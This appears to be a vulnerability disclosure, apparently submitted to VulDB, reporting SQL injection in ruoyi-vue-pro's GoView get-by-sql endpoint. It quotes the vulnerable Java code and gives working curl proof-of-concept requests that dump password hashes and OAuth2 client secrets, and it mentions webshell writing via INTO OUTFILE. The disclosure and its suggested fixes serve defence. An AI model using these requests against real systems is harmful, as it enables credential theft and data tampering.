Submit #908272: zhijiantianya ruoyi-vue-pro 2026.06 输入验证错误

A SQL injection vulnerability was discovered in the GoView data endpoint of ruoyi-vue-pro (yudao-server). The getDataBySQL() method in GoViewDataServiceImpl.java directly passes user-controlled SQL string to JdbcTemplate.queryForRowSet() without any sanitization, parameterization, or whitelist validation.

Vulnerable file: yudao-module-report/src/main/java/cn/iocoder/yudao/module/report/service/goview/GoViewDataServiceImpl.java
Vulnerable method: getDataBySQL(String sql) at line 32

Vulnerable code:
```java
// GoViewDataController.java
@RequestMapping("/get-by-sql")
@PreAuthorize("@ss.hasPermission('report:go-view-data:get-by-sql')")
public CommonResult<GoViewDataRespVO> getDataBySQL(@Valid @RequestBody GoViewDataGetBySqlReqVO reqVO) {
return success(goViewDataService.getDataBySQL(reqVO.getSql()));
}

// GoViewDataServiceImpl.java
public GoViewDataRespVO getDataBySQL(String sql) {
SqlRowSet sqlRowSet = jdbcTemplate.queryForRowSet(sql); // Direct execution
// ...
}
```

Affected endpoint: POST /admin-api/report/go-view/data/get-by-sql

Any authenticated user with report:go-view-data:get-by-sql permission can execute arbitrary SQL statements including SELECT, INSERT, UPDATE, DELETE.

Proof of Concept:
```bash
TOKEN=<obtain via login>

# Read user password hashes
curl -X POST 'http://target:48080/admin-api/report/go-view/data/get-by-sql' \
-H "Authorization: Bearer $TOKEN" -H 'tenant-id: 1' \
-H 'Content-Type: application/json' \
-d '{"sql":"SELECT username,password FROM system_users"}'

# Read OAuth2 client secrets
curl -X POST 'http://target:48080/admin-api/report/go-view/data/get-by-sql' \
-H "Authorization: Bearer $TOKEN" -H 'tenant-id: 1' \
-H 'Content-Type: application/json' \
-d '{"sql":"SELECT client_id,secret FROM system_oauth2_client WHERE deleted=0"}'
```

Verification results (dynamically confirmed):
- Successfully read system_users table (usernames, bcrypt password hashes)
- Successfully read system_oauth2_client table (client_id, secret)
- Successfully read pay_channel table (payment configuration)
- Can execute INSERT/UPDATE/DELETE to modify arbitrary data

Impact:
1. Data breach: read any database table (credentials, secrets, payment config)
2. Data tampering: execute INSERT/UPDATE/DELETE
3. Potential RCE: write WebShell via INTO OUTFILE (requires FILE privilege)

CVSS 3.1: 8.8 High (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Solution:
1. Remove this endpoint, use predefined query endpoints
2. If must keep, use SQL whitelist (SELECT only) + table whitelist
3. Use dedicated low-privilege database account

• Source: ⚠️ https://github.com/YunaiV/ruoyi-vue-pro/blob/master/yudao-module-report/src/main/java/cn/iocoder/yudao/module/report/service/goview/GoViewDataServiceImpl.java
• User: liuyulin (UID 100186)
• Submission: 07/29/2026 03:44 (2 months ago)
• Moderation: 09/24/2026 13:34 (2 months later)
• Status: Accepted
• VulDB entry: 409329 [YunaiV/zhijiantianya ruoyi-vue-pro up to 2026.08 GoView Data Endpoint GoViewDataServiceImpl.java GoViewDataServiceImpl.getDataBySQL sql sql injection]
• Points: 20